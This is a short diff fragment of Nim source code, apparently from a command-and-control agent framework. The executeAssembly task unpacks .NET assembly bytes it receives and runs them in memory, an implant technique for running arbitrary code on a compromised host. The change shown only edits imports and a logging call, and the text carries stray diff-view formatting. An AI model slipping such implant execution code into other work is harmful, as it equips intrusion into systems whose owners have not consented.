import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
import ../common/[utils, serialize]
|
import ../common/serialize
|
||||||
|
|
||||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
@@ -56,7 +57,7 @@ when defined(agent):
|
|||||||
fileName = unpacker.getDataWithLengthPrefix()
|
fileName = unpacker.getDataWithLengthPrefix()
|
||||||
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
echo fmt" [>] Executing .NET assembly {fileName}."
|
print fmt" [>] Executing .NET assembly {fileName}."
|
||||||
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
||||||
|
|
||||||
if output != "":
|
if output != "":
|
||||||
|
|||||||